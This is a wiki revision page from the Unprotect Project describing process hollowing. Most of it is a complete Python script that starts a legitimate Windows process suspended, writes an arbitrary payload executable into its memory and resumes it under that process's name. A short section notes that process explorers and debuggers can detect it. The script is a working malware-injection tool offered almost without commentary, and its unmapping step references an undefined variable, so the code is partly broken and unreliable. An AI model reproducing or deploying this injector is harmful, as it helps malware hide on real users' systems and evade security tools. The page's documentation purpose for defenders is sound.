Difference between revisions of "Process hollowing"

From Unprotect Project
Jump to: navigation, search
(Defeat it)
(Defeat it)
Line 311: Line 311:
 
With a debugger, it is also possible to dump the file injected into the hollowing process.
 
With a debugger, it is also possible to dump the file injected into the hollowing process.
  
[[File:debug1.png|border|200px|VirtualAlloc Function]]
+
[[File:debug1.png|border|800px|VirtualAlloc Function]]

Revision as of 22:16, 6 November 2016

Process hollowing is a common technique that inject a code in a suspended process. This technic could be use by malware to avoid detection and inject the code into a legitimate process.

How it works

To use process hollowing, attackers uses the following API:

CreateProcess: in a suspended mode with the CreationFlag at 0x0000 0004.

  • GetThreadContext: retrieves the context of the specified thread.
  • ZwUnmapViewOfSection: Unmaps a view of a section from the virtual address space of a subject process.
  • VirtualAllocEx: allocates memory within the suspended process’s address space.
  • WriteProcessMemory: writes data of the PE file into the memory just allocated within the suspended process.
  • SetThreadContext: sets the EAX register to the entry point of the executable written.
  • ResumeThread: resumes the thread of the suspended process.

Code example

  1 from ctypes import *
  2 from pefile import PE
  3 import sys
  4 
  5 if len(sys.argv) != 3:
  6         print "Usage: runPE.py Payload.exe Target.exe"
  7         print "Example: runPE.py HelloWorld.exe C:\windows\system32\svchost.exe"
  8         sys.exit()
  9 
 10 
 11 
 12 payload_exe = sys.argv[1]
 13 target_exe = sys.argv[2]
 14 stepcount = 1
 15 
 16 
 17 class PROCESS_INFORMATION(Structure):
 18 	_fields_ = [
 19                 ('hProcess', c_void_p), 
 20                 ('hThread', c_void_p), 
 21                 ('dwProcessId', c_ulong), 
 22                 ('dwThreadId', c_ulong)]
 23 	
 24 class STARTUPINFO(Structure):
 25 	_fields_ = [
 26                 ('cb', c_ulong), 
 27                 ('lpReserved', c_char_p),    
 28                 ('lpDesktop', c_char_p),
 29                 ('lpTitle', c_char_p),
 30                 ('dwX', c_ulong),
 31                 ('dwY', c_ulong),
 32                 ('dwXSize', c_ulong),
 33                 ('dwYSize', c_ulong),
 34                 ('dwXCountChars', c_ulong),
 35                 ('dwYCountChars', c_ulong),
 36                 ('dwFillAttribute', c_ulong),
 37                 ('dwFlags', c_ulong),
 38                 ('wShowWindow', c_ushort),
 39                 ('cbReserved2', c_ushort),
 40                 ('lpReserved2', c_ulong),    
 41                 ('hStdInput', c_void_p),
 42                 ('hStdOutput', c_void_p),
 43                 ('hStdError', c_void_p)]
 44 	
 45 class FLOATING_SAVE_AREA(Structure):
 46 	_fields_ = [
 47                 ("ControlWord", c_ulong),
 48                 ("StatusWord", c_ulong),
 49                 ("TagWord", c_ulong),
 50                 ("ErrorOffset", c_ulong),
 51                 ("ErrorSelector", c_ulong),
 52                 ("DataOffset", c_ulong),
 53                 ("DataSelector", c_ulong),
 54                 ("RegisterArea", c_ubyte * 80),
 55                 ("Cr0NpxState", c_ulong)]	
 56 	
 57 class CONTEXT(Structure):
 58         _fields_ = [
 59                 ("ContextFlags", c_ulong),
 60                 ("Dr0", c_ulong),
 61                 ("Dr1", c_ulong),
 62                 ("Dr2", c_ulong),
 63                 ("Dr3", c_ulong),
 64                 ("Dr6", c_ulong),
 65                 ("Dr7", c_ulong),
 66                 ("FloatSave", FLOATING_SAVE_AREA),
 67                 ("SegGs", c_ulong),
 68                 ("SegFs", c_ulong),
 69                 ("SegEs", c_ulong),
 70                 ("SegDs", c_ulong),
 71                 ("Edi", c_ulong),
 72                 ("Esi", c_ulong),
 73                 ("Ebx", c_ulong),
 74                 ("Edx", c_ulong),
 75                 ("Ecx", c_ulong),
 76                 ("Eax", c_ulong),
 77                 ("Ebp", c_ulong),
 78                 ("Eip", c_ulong),
 79                 ("SegCs", c_ulong),
 80                 ("EFlags", c_ulong),
 81                 ("Esp", c_ulong),
 82                 ("SegSs", c_ulong),
 83                 ("ExtendedRegisters", c_ubyte * 512)]
 84 
 85 def error():
 86         print "[!]Error: " + FormatError(GetLastError())
 87         print "[!]Exiting"
 88         print "[!]The process may still be running"
 89         sys.exit()
 90         
 91 
 92 print "[" + str(stepcount) +"]Creating Suspended Process"
 93 stepcount += 1
 94 
 95 startupinfo = STARTUPINFO()
 96 startupinfo.cb = sizeof(STARTUPINFO)
 97 processinfo = PROCESS_INFORMATION()
 98 
 99 CREATE_SUSPENDED = 0x0004
100 if windll.kernel32.CreateProcessA(
101                                 None,
102                                 target_exe,
103                                 None,
104                                 None,
105                                 False,
106                                 CREATE_SUSPENDED,
107                                 None,
108                                 None,
109                                 byref(startupinfo),
110                                 byref(processinfo)) == 0:
111        error()
112         
113 
114 hProcess = processinfo.hProcess
115 hThread = processinfo.hThread
116 
117 
118 print "\t[+]Successfully created suspended process! PID: " + str(processinfo.dwProcessId)
119 print
120 print "[" + str(stepcount) +"]Reading Payload PE file"
121 stepcount += 1
122 
123 File = open(payload_exe,"rb")
124 payload_data = File.read()
125 File.close()
126 payload_size = len(payload_data)
127 
128 print "\t[+]Payload size: " + str(payload_size)
129 print
130 print "[" + str(stepcount) +"]Extracting the necessary info from the payload data."
131 stepcount += 1
132 
133 payload = PE(data = payload_data)
134 payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase
135 payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage
136 payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders
137 payload_sections = payload.sections
138 payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections
139 payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint
140 payload.close()
141 
142 MEM_COMMIT = 0x1000
143 MEM_RESERVE = 0x2000
144 PAGE_READWRITE = 0x4
145 
146 payload_data_pointer = windll.kernel32.VirtualAlloc(None,
147                                 c_int(payload_size+1),
148                                 MEM_COMMIT | MEM_RESERVE,
149                                 PAGE_READWRITE)
150 
151 
152 memmove(                        payload_data_pointer,
153                                 payload_data,
154                                 payload_size)
155 
156 print "\t[+]Data from the PE Header: "
157 print "\t[+]Image Base Address: " + str(hex(payload_ImageBase))
158 print "\t[+]Address of EntryPoint: " + str(hex(payload_AddressOfEntryPoint))
159 print "\t[+]Size of Image: " + str(payload_SizeOfImage)
160 print "\t[+]Pointer to data: " + str(hex(payload_data_pointer))
161 
162 
163 print
164 print "[" + str(stepcount) +"]Getting Context"
165 cx = CONTEXT()
166 cx.ContextFlags = 0x10007
167 
168 if windll.kernel32.GetThreadContext(hThread, byref(cx)) == 0:
169          error()
170 print
171 print "[" + str(stepcount) +"]Getting Image Base Address from target"
172 stepcount += 1
173 
174 base = c_int(0)
175 windll.kernel32.ReadProcessMemory(hProcess, c_char_p(cx.Ebx+8), byref(base), sizeof(c_void_p),None)
176 target_PEBaddress = base
177 print "\t[+]PEB address: " + str(hex(target_PEBaddress.value))
178 
179 
180 print
181 print "[" + str(stepcount) +"]Unmapping"
182 if target_PEBaddress ==  payload_ImageBase:
183         if not windll.ntdll.NtUnmapViewOfSection(
184                                 hProcess,
185                                 target_ImageBase):
186                 error()
187 
188 print
189 print "[" + str(stepcount) +"]Allocation memory"
190 stepcount += 1
191 
192 MEM_COMMIT = 0x1000
193 MEM_RESERVE = 0x2000
194 PAGE_EXECUTE_READWRITE = 0x40
195 
196 address = windll.kernel32.VirtualAllocEx(
197                                 hProcess, 
198                                 c_char_p(payload_ImageBase), 
199                                 c_int(payload_SizeOfImage), 
200                                 MEM_COMMIT|MEM_RESERVE, 
201                                 PAGE_EXECUTE_READWRITE)
202 
203 if address == 0:
204         error()
205 
206 print "\t[+]Allocated to: "+ str(hex(address))
207 
208 print
209 print "[" + str(stepcount) +"]Writing Headers"
210 stepcount += 1
211 
212 lpNumberOfBytesWritten = c_size_t(0)
213 
214 if windll.kernel32.WriteProcessMemory(
215                                 hProcess,
216                                 c_char_p(payload_ImageBase),
217                                 c_char_p(payload_data_pointer),
218                                 c_int(payload_SizeOfHeaders),
219                                 byref(lpNumberOfBytesWritten)) == 0:
220                 error()
221 
222 print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
223 print "\t[+]Pointer to data: " + str(hex(payload_ImageBase))
224 print "\t[+]Writing to: " + str(hex(payload_data_pointer))
225 print "\t[+]Size of data: " + str(hex(payload_SizeOfHeaders))
226 
227 print
228 for i in range(payload_NumberOfSections):
229         section = payload_sections[i]
230         dst = payload_ImageBase + section.VirtualAddress
231         src = payload_data_pointer + section.PointerToRawData
232         size = section.SizeOfRawData
233         print
234         print "[" + str(stepcount) +"]Writing section: " + section.Name
235         stepcount += 1
236         print "\t[+]Pointer to data: " + str(hex(src))
237         print "\t[+]Writing to: " + str(hex(dst))
238         print "\t[+]Size of data: " + str(hex(size))
239 
240         lpNumberOfBytesWritten  = c_size_t(0)
241 
242         if windll.kernel32.WriteProcessMemory(
243                                 hProcess,
244                                 c_char_p(dst),
245                                 c_char_p(src),
246                                 c_int(size),
247                                 byref(lpNumberOfBytesWritten)) == 0:
248                  error()
249                  
250         print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
251          
252 print
253 print "[" + str(stepcount) +"]Editing Context"
254 stepcount += 1
255 
256 cx.Eax = payload_ImageBase + payload_AddressOfEntryPoint
257 
258 lpNumberOfBytesWritten  = c_size_t(0)
259 if windll.kernel32.WriteProcessMemory(
260                                 hProcess,
261                                 c_char_p(cx.Ebx+8),
262                                 c_char_p(payload_data_pointer+0x11C),
263                                 c_int(4),
264                                 byref(lpNumberOfBytesWritten)) == 0:
265          error()
266 
267 print "\t[+]Pointer to data: " + str(hex(cx.Ebx+8))
268 print "\t[+]Writing to: " + str(hex(payload_data_pointer+0x11C))
269 print "\t[+]Size of data: " + str(hex(4))
270 print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
271 
272 print 
273 print "[" + str(stepcount) +"]Setting Context"
274 stepcount += 1
275 
276 windll.kernel32.SetThreadContext(
277                                 hThread,
278                                 byref(cx))
279 
280 print
281 print "[" + str(stepcount) +"]Resuming Thread"
282 stepcount += 1
283 
284 if windll.kernel32.ResumeThread(hThread) == 0:
285         error()
286 
287 print
288 print "[" + str(stepcount) +"]Success"

Defeat it

With a process explorer tools it is possible to see the process loaded into another.

With a debugger, it is also possible to dump the file injected into the hollowing process.

VirtualAlloc Function